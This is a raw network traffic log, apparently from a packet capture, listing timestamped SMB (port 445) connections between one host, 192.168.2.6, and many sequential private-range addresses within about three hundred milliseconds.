Jul 6, 2024 14:11:28.703455925 CEST	51050	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:28.703567028 CEST	51050	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:28.707225084 CEST	445	51048	192.168.1.213	192.168.2.6
Jul 6, 2024 14:11:28.707624912 CEST	445	51048	192.168.1.213	192.168.2.6
Jul 6, 2024 14:11:28.708024025 CEST	445	51047	192.168.0.55	192.168.2.6
Jul 6, 2024 14:11:28.708086014 CEST	51047	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:28.708244085 CEST	445	51047	192.168.0.55	192.168.2.6
Jul 6, 2024 14:11:28.708868980 CEST	445	51050	192.168.0.176	192.168.2.6
Jul 6, 2024 14:11:28.708925009 CEST	51050	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:28.711599112 CEST	51052	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:28.713092089 CEST	445	51047	192.168.0.55	192.168.2.6
Jul 6, 2024 14:11:28.716545105 CEST	445	51052	192.168.0.177	192.168.2.6
Jul 6, 2024 14:11:28.720598936 CEST	51052	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:28.725228071 CEST	51052	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:28.725975990 CEST	51053	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:28.726059914 CEST	51054	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:28.726161003 CEST	51055	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:28.726207018 CEST	51056	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:28.726988077 CEST	51057	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:28.730185986 CEST	445	51052	192.168.0.177	192.168.2.6
Jul 6, 2024 14:11:28.730202913 CEST	445	51052	192.168.0.177	192.168.2.6
Jul 6, 2024 14:11:28.731050968 CEST	445	51053	192.168.0.56	192.168.2.6
Jul 6, 2024 14:11:28.731060982 CEST	445	51054	192.168.1.215	192.168.2.6
Jul 6, 2024 14:11:28.731069088 CEST	445	51055	192.168.1.214	192.168.2.6
Jul 6, 2024 14:11:28.731128931 CEST	445	51056	192.168.0.57	192.168.2.6
Jul 6, 2024 14:11:28.731144905 CEST	51054	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:28.731162071 CEST	51055	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:28.731188059 CEST	51056	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:28.731276035 CEST	51055	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:28.731331110 CEST	51056	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:28.731909990 CEST	51053	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:28.731909990 CEST	51053	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:28.732328892 CEST	445	51057	192.168.0.178	192.168.2.6
Jul 6, 2024 14:11:28.732382059 CEST	51057	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:28.732450962 CEST	51057	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:28.736088037 CEST	445	51055	192.168.1.214	192.168.2.6
Jul 6, 2024 14:11:28.736529112 CEST	445	51054	192.168.1.215	192.168.2.6
Jul 6, 2024 14:11:28.736726999 CEST	445	51056	192.168.0.57	192.168.2.6
Jul 6, 2024 14:11:28.736835003 CEST	445	51055	192.168.1.214	192.168.2.6
Jul 6, 2024 14:11:28.736852884 CEST	445	51053	192.168.0.56	192.168.2.6
Jul 6, 2024 14:11:28.737015009 CEST	445	51056	192.168.0.57	192.168.2.6
Jul 6, 2024 14:11:28.737181902 CEST	51055	445	192.168.2.6	192.168.1.214
Jul 6, 2024 14:11:28.737181902 CEST	51054	445	192.168.2.6	192.168.1.215
Jul 6, 2024 14:11:28.737658024 CEST	445	51053	192.168.0.56	192.168.2.6
Jul 6, 2024 14:11:28.737668037 CEST	445	51057	192.168.0.178	192.168.2.6
Jul 6, 2024 14:11:28.737715960 CEST	51057	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:28.742417097 CEST	445	51055	192.168.1.214	192.168.2.6
Jul 6, 2024 14:11:28.742726088 CEST	51060	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:28.747581005 CEST	445	51060	192.168.0.179	192.168.2.6
Jul 6, 2024 14:11:28.748017073 CEST	51060	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:28.748017073 CEST	51060	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:28.754080057 CEST	445	51060	192.168.0.179	192.168.2.6
Jul 6, 2024 14:11:28.754673958 CEST	51060	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:28.757261992 CEST	51063	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:28.757261992 CEST	51062	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:28.757721901 CEST	51061	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:28.758532047 CEST	51065	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:28.762334108 CEST	445	51063	192.168.0.58	192.168.2.6
Jul 6, 2024 14:11:28.762423038 CEST	51063	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:28.762442112 CEST	445	51062	192.168.1.217	192.168.2.6
Jul 6, 2024 14:11:28.762484074 CEST	51063	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:28.762504101 CEST	51062	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:28.762533903 CEST	51062	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:28.764024973 CEST	445	51061	192.168.1.216	192.168.2.6
Jul 6, 2024 14:11:28.764072895 CEST	51061	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:28.764142990 CEST	51061	445	192.168.2.6	192.168.1.216
Jul 6, 2024 14:11:28.764615059 CEST	445	51065	192.168.0.180	192.168.2.6
Jul 6, 2024 14:11:28.764674902 CEST	51065	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:28.764745951 CEST	51065	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:28.767299891 CEST	445	51063	192.168.0.58	192.168.2.6
Jul 6, 2024 14:11:28.767307997 CEST	445	51062	192.168.1.217	192.168.2.6
Jul 6, 2024 14:11:28.767499924 CEST	445	51063	192.168.0.58	192.168.2.6
Jul 6, 2024 14:11:28.768038034 CEST	445	51062	192.168.1.217	192.168.2.6
Jul 6, 2024 14:11:28.769161940 CEST	445	51061	192.168.1.216	192.168.2.6
Jul 6, 2024 14:11:28.769196033 CEST	445	51061	192.168.1.216	192.168.2.6
Jul 6, 2024 14:11:28.770297050 CEST	445	51065	192.168.0.180	192.168.2.6
Jul 6, 2024 14:11:28.770978928 CEST	51065	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:28.773555040 CEST	51066	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:28.778526068 CEST	445	51066	192.168.0.181	192.168.2.6
Jul 6, 2024 14:11:28.779634953 CEST	51066	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:28.779634953 CEST	51066	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:28.784854889 CEST	445	51066	192.168.0.181	192.168.2.6
Jul 6, 2024 14:11:28.784903049 CEST	51066	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:28.788116932 CEST	51068	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:28.789844036 CEST	51070	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:28.793231964 CEST	445	51068	192.168.0.59	192.168.2.6
Jul 6, 2024 14:11:28.793740988 CEST	51068	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:28.793740988 CEST	51068	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:28.795236111 CEST	445	51070	192.168.0.182	192.168.2.6
Jul 6, 2024 14:11:28.796435118 CEST	51070	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:28.796435118 CEST	51070	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:28.798649073 CEST	445	51068	192.168.0.59	192.168.2.6
Jul 6, 2024 14:11:28.799316883 CEST	445	51068	192.168.0.59	192.168.2.6
Jul 6, 2024 14:11:28.801959038 CEST	445	51070	192.168.0.182	192.168.2.6
Jul 6, 2024 14:11:28.802035093 CEST	51070	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:28.803726912 CEST	51071	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:28.803781986 CEST	51072	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:28.804811001 CEST	51074	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:28.811228037 CEST	445	51071	192.168.1.218	192.168.2.6
Jul 6, 2024 14:11:28.811237097 CEST	445	51072	192.168.0.60	192.168.2.6
Jul 6, 2024 14:11:28.811254978 CEST	445	51074	192.168.0.183	192.168.2.6
Jul 6, 2024 14:11:28.811319113 CEST	51072	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:28.811372042 CEST	51074	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:28.811417103 CEST	51072	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:28.811798096 CEST	51071	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:28.811798096 CEST	51071	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:28.816437006 CEST	445	51072	192.168.0.60	192.168.2.6
Jul 6, 2024 14:11:28.816673994 CEST	445	51074	192.168.0.183	192.168.2.6
Jul 6, 2024 14:11:28.816683054 CEST	445	51072	192.168.0.60	192.168.2.6
Jul 6, 2024 14:11:28.816795111 CEST	445	51071	192.168.1.218	192.168.2.6
Jul 6, 2024 14:11:28.816967964 CEST	445	51071	192.168.1.218	192.168.2.6
Jul 6, 2024 14:11:28.820063114 CEST	51075	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:28.820388079 CEST	51077	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:28.822654009 CEST	51072	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:28.822654009 CEST	51074	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:28.822654009 CEST	51074	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:28.825222969 CEST	445	51075	192.168.0.61	192.168.2.6
Jul 6, 2024 14:11:28.825992107 CEST	445	51077	192.168.0.184	192.168.2.6
Jul 6, 2024 14:11:28.826034069 CEST	51077	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:28.828818083 CEST	51075	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:28.828818083 CEST	51075	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:28.829931974 CEST	445	51072	192.168.0.60	192.168.2.6
Jul 6, 2024 14:11:28.829941034 CEST	445	51074	192.168.0.183	192.168.2.6
Jul 6, 2024 14:11:28.831970930 CEST	445	51077	192.168.0.184	192.168.2.6
Jul 6, 2024 14:11:28.832032919 CEST	51077	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:28.834871054 CEST	51077	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:28.835062981 CEST	51078	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:28.835140944 CEST	51079	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:28.835308075 CEST	51080	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:28.836318970 CEST	51081	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:28.836745024 CEST	445	51075	192.168.0.61	192.168.2.6
Jul 6, 2024 14:11:28.836791992 CEST	445	51075	192.168.0.61	192.168.2.6
Jul 6, 2024 14:11:28.839977980 CEST	445	51077	192.168.0.184	192.168.2.6
Jul 6, 2024 14:11:28.839987993 CEST	445	51078	192.168.0.63	192.168.2.6
Jul 6, 2024 14:11:28.840068102 CEST	445	51079	192.168.1.221	192.168.2.6
Jul 6, 2024 14:11:28.840126038 CEST	51079	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:28.840188980 CEST	51079	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:28.840455055 CEST	51078	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:28.840456009 CEST	445	51080	192.168.1.219	192.168.2.6
Jul 6, 2024 14:11:28.840511084 CEST	51080	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:28.840579987 CEST	51080	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:28.841948986 CEST	445	51081	192.168.0.185	192.168.2.6
Jul 6, 2024 14:11:28.842009068 CEST	51081	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:28.842092991 CEST	51081	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:28.845189095 CEST	445	51079	192.168.1.221	192.168.2.6
Jul 6, 2024 14:11:28.845261097 CEST	51079	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:28.845663071 CEST	445	51079	192.168.1.221	192.168.2.6
Jul 6, 2024 14:11:28.846858978 CEST	445	51080	192.168.1.219	192.168.2.6
Jul 6, 2024 14:11:28.847659111 CEST	445	51078	192.168.0.63	192.168.2.6
Jul 6, 2024 14:11:28.847716093 CEST	51078	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:28.848330021 CEST	445	51080	192.168.1.219	192.168.2.6
Jul 6, 2024 14:11:28.848934889 CEST	445	51081	192.168.0.185	192.168.2.6
Jul 6, 2024 14:11:28.849190950 CEST	51081	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:28.850472927 CEST	445	51079	192.168.1.221	192.168.2.6
Jul 6, 2024 14:11:28.850883961 CEST	51085	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:28.850882053 CEST	51084	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:28.851114035 CEST	51087	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:28.851717949 CEST	51086	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:28.852684975 CEST	51088	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:28.855750084 CEST	445	51085	192.168.1.222	192.168.2.6
Jul 6, 2024 14:11:28.855838060 CEST	51085	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:28.855894089 CEST	51085	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:28.855962038 CEST	445	51084	192.168.0.62	192.168.2.6
Jul 6, 2024 14:11:28.855973005 CEST	445	51087	192.168.1.223	192.168.2.6
Jul 6, 2024 14:11:28.856074095 CEST	51087	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:28.856164932 CEST	51087	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:28.856791019 CEST	445	51086	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:28.857728958 CEST	51084	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:28.857728958 CEST	51084	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:28.860091925 CEST	445	51088	192.168.0.186	192.168.2.6
Jul 6, 2024 14:11:28.860450029 CEST	51088	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:28.861026049 CEST	445	51085	192.168.1.222	192.168.2.6
Jul 6, 2024 14:11:28.861226082 CEST	445	51085	192.168.1.222	192.168.2.6
Jul 6, 2024 14:11:28.861234903 CEST	445	51087	192.168.1.223	192.168.2.6
Jul 6, 2024 14:11:28.861716032 CEST	445	51087	192.168.1.223	192.168.2.6
Jul 6, 2024 14:11:28.862365007 CEST	51086	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:28.862365007 CEST	51086	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:28.862818956 CEST	445	51084	192.168.0.62	192.168.2.6
Jul 6, 2024 14:11:28.862895966 CEST	445	51084	192.168.0.62	192.168.2.6
Jul 6, 2024 14:11:28.866763115 CEST	51083	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:28.867332935 CEST	51091	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:28.868285894 CEST	445	51088	192.168.0.186	192.168.2.6
Jul 6, 2024 14:11:28.868379116 CEST	51088	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:28.868379116 CEST	51088	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:28.868947983 CEST	445	51086	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:28.871519089 CEST	445	51086	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:28.871644020 CEST	445	51083	192.168.1.220	192.168.2.6
Jul 6, 2024 14:11:28.871700048 CEST	51083	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:28.872301102 CEST	445	51091	192.168.0.187	192.168.2.6
Jul 6, 2024 14:11:28.875039101 CEST	51083	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:28.875039101 CEST	51091	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:28.875039101 CEST	51091	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:28.875086069 CEST	445	51088	192.168.0.186	192.168.2.6
Jul 6, 2024 14:11:28.877408028 CEST	51086	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:28.879849911 CEST	445	51083	192.168.1.220	192.168.2.6
Jul 6, 2024 14:11:28.879991055 CEST	445	51083	192.168.1.220	192.168.2.6
Jul 6, 2024 14:11:28.880450964 CEST	445	51091	192.168.0.187	192.168.2.6
Jul 6, 2024 14:11:28.882846117 CEST	51091	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:28.882846117 CEST	51093	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:28.887407064 CEST	51092	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:28.887407064 CEST	51094	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:28.890734911 CEST	445	51086	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:28.892256975 CEST	51096	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:28.892680883 CEST	445	51092	192.168.0.65	192.168.2.6
Jul 6, 2024 14:11:28.894104958 CEST	445	51094	192.168.1.224	192.168.2.6
Jul 6, 2024 14:11:28.894593000 CEST	51092	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:28.894593000 CEST	51092	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:28.894593954 CEST	51094	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:28.894593954 CEST	51094	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:28.895298004 CEST	445	51093	192.168.0.66	192.168.2.6
Jul 6, 2024 14:11:28.898283958 CEST	445	51096	192.168.0.188	192.168.2.6
Jul 6, 2024 14:11:28.899631023 CEST	51093	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:28.899631023 CEST	51093	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:28.899801016 CEST	445	51092	192.168.0.65	192.168.2.6
Jul 6, 2024 14:11:28.899888992 CEST	445	51092	192.168.0.65	192.168.2.6
Jul 6, 2024 14:11:28.900913954 CEST	51096	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:28.900913954 CEST	51098	445	192.168.2.6	192.168.0.189
Jul 6, 2024 14:11:28.902049065 CEST	445	51094	192.168.1.224	192.168.2.6
Jul 6, 2024 14:11:28.904161930 CEST	51092	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:28.904516935 CEST	445	51093	192.168.0.66	192.168.2.6
Jul 6, 2024 14:11:28.904850960 CEST	445	51093	192.168.0.66	192.168.2.6
Jul 6, 2024 14:11:28.905801058 CEST	445	51098	192.168.0.189	192.168.2.6
Jul 6, 2024 14:11:28.905844927 CEST	445	51096	192.168.0.188	192.168.2.6
Jul 6, 2024 14:11:28.908770084 CEST	51098	445	192.168.2.6	192.168.0.189
Jul 6, 2024 14:11:28.908770084 CEST	51096	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:28.909538031 CEST	445	51092	192.168.0.65	192.168.2.6
Jul 6, 2024 14:11:28.912976027 CEST	51098	445	192.168.2.6	192.168.0.189
Jul 6, 2024 14:11:28.913028002 CEST	51096	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:28.914261103 CEST	445	51098	192.168.0.189	192.168.2.6
Jul 6, 2024 14:11:28.914309978 CEST	51098	445	192.168.2.6	192.168.0.189
Jul 6, 2024 14:11:28.915441990 CEST	51101	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:28.918116093 CEST	445	51098	192.168.0.189	192.168.2.6
Jul 6, 2024 14:11:28.918126106 CEST	445	51096	192.168.0.188	192.168.2.6
Jul 6, 2024 14:11:28.919291019 CEST	51099	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:28.924526930 CEST	445	51099	192.168.0.67	192.168.2.6
Jul 6, 2024 14:11:28.924598932 CEST	51099	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:28.924664974 CEST	51099	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:28.928841114 CEST	51102	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:28.928864956 CEST	51103	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:28.929131031 CEST	51104	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:28.929250956 CEST	51105	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:28.930741072 CEST	51107	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:28.937009096 CEST	445	51101	192.168.0.190	192.168.2.6
Jul 6, 2024 14:11:28.937083006 CEST	51101	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:28.937094927 CEST	445	51099	192.168.0.67	192.168.2.6
Jul 6, 2024 14:11:28.937181950 CEST	51101	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:28.937834978 CEST	445	51102	192.168.1.225	192.168.2.6
Jul 6, 2024 14:11:28.937844038 CEST	445	51103	192.168.1.226	192.168.2.6
Jul 6, 2024 14:11:28.937853098 CEST	445	51104	192.168.1.227	192.168.2.6
Jul 6, 2024 14:11:28.937860966 CEST	445	51105	192.168.0.68	192.168.2.6
Jul 6, 2024 14:11:28.937869072 CEST	445	51107	192.168.0.191	192.168.2.6
Jul 6, 2024 14:11:28.937902927 CEST	51102	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:28.937958002 CEST	51105	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:28.937958002 CEST	51107	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:28.937963963 CEST	51102	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:28.939429045 CEST	51105	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:28.940252066 CEST	51104	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:28.940252066 CEST	51104	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:28.941776037 CEST	445	51099	192.168.0.67	192.168.2.6
Jul 6, 2024 14:11:28.942590952 CEST	445	51101	192.168.0.190	192.168.2.6
Jul 6, 2024 14:11:28.943172932 CEST	445	51102	192.168.1.225	192.168.2.6
Jul 6, 2024 14:11:28.944315910 CEST	51107	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:28.944433928 CEST	51103	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:28.944434881 CEST	51108	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:28.944531918 CEST	51109	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:28.944633961 CEST	51110	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:28.944799900 CEST	51111	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:28.945272923 CEST	445	51105	192.168.0.68	192.168.2.6
Jul 6, 2024 14:11:28.945292950 CEST	445	51104	192.168.1.227	192.168.2.6
Jul 6, 2024 14:11:28.945339918 CEST	51104	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:28.945743084 CEST	445	51101	192.168.0.190	192.168.2.6
Jul 6, 2024 14:11:28.945801020 CEST	51101	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:28.946252108 CEST	51113	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:28.946537971 CEST	445	51052	192.168.0.177	192.168.2.6
Jul 6, 2024 14:11:28.947932959 CEST	445	51102	192.168.1.225	192.168.2.6
Jul 6, 2024 14:11:28.949331999 CEST	445	51108	192.168.0.71	192.168.2.6
Jul 6, 2024 14:11:28.949475050 CEST	445	51109	192.168.1.228	192.168.2.6
Jul 6, 2024 14:11:28.949563980 CEST	445	51110	192.168.0.69	192.168.2.6
Jul 6, 2024 14:11:28.949621916 CEST	445	51111	192.168.0.70	192.168.2.6
Jul 6, 2024 14:11:28.950634003 CEST	445	51104	192.168.1.227	192.168.2.6
Jul 6, 2024 14:11:28.950644016 CEST	445	51105	192.168.0.68	192.168.2.6
Jul 6, 2024 14:11:28.950653076 CEST	445	51107	192.168.0.191	192.168.2.6
Jul 6, 2024 14:11:28.950747013 CEST	445	51104	192.168.1.227	192.168.2.6
Jul 6, 2024 14:11:28.951119900 CEST	445	51103	192.168.1.226	192.168.2.6
Jul 6, 2024 14:11:28.951138020 CEST	445	51113	192.168.0.192	192.168.2.6
Jul 6, 2024 14:11:28.951193094 CEST	51113	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:28.951493979 CEST	51113	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:28.951740980 CEST	51108	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:28.951740980 CEST	51108	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:28.951740980 CEST	51110	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:28.951740980 CEST	51110	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:28.951740980 CEST	51107	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:28.952529907 CEST	51109	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:28.952529907 CEST	51109	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:28.952529907 CEST	51111	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:28.952529907 CEST	51111	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:28.952831984 CEST	51052	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:28.952831984 CEST	51103	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:28.956722021 CEST	445	51108	192.168.0.71	192.168.2.6
Jul 6, 2024 14:11:28.956729889 CEST	445	51110	192.168.0.69	192.168.2.6
Jul 6, 2024 14:11:28.957103968 CEST	445	51113	192.168.0.192	192.168.2.6
Jul 6, 2024 14:11:28.957160950 CEST	51113	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:28.957747936 CEST	445	51109	192.168.1.228	192.168.2.6
Jul 6, 2024 14:11:28.957757950 CEST	445	51111	192.168.0.70	192.168.2.6
Jul 6, 2024 14:11:28.957783937 CEST	445	51108	192.168.0.71	192.168.2.6
Jul 6, 2024 14:11:28.958297968 CEST	445	51110	192.168.0.69	192.168.2.6
Jul 6, 2024 14:11:28.958312035 CEST	445	51109	192.168.1.228	192.168.2.6
Jul 6, 2024 14:11:28.958318949 CEST	445	51111	192.168.0.70	192.168.2.6
Jul 6, 2024 14:11:28.960071087 CEST	51114	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:28.960180998 CEST	51115	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:28.965174913 CEST	445	51114	192.168.1.229	192.168.2.6
Jul 6, 2024 14:11:28.965195894 CEST	445	51115	192.168.0.72	192.168.2.6
Jul 6, 2024 14:11:28.965797901 CEST	51114	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:28.965799093 CEST	51114	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:28.967840910 CEST	51116	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:28.969069958 CEST	51115	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:28.969069958 CEST	51115	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:28.970885038 CEST	445	51114	192.168.1.229	192.168.2.6
Jul 6, 2024 14:11:28.970952988 CEST	51114	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:28.971366882 CEST	445	51114	192.168.1.229	192.168.2.6
Jul 6, 2024 14:11:28.973105907 CEST	445	51116	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:28.974028111 CEST	51116	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:28.974028111 CEST	51116	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:28.974770069 CEST	445	51115	192.168.0.72	192.168.2.6
Jul 6, 2024 14:11:28.974987984 CEST	445	51115	192.168.0.72	192.168.2.6
Jul 6, 2024 14:11:28.975915909 CEST	51118	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:28.976313114 CEST	445	51114	192.168.1.229	192.168.2.6
Jul 6, 2024 14:11:28.980786085 CEST	445	51118	192.168.1.230	192.168.2.6
Jul 6, 2024 14:11:28.981961012 CEST	51118	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:28.981961012 CEST	51118	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:28.983912945 CEST	51119	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:28.986857891 CEST	445	51118	192.168.1.230	192.168.2.6
Jul 6, 2024 14:11:28.986991882 CEST	445	51118	192.168.1.230	192.168.2.6
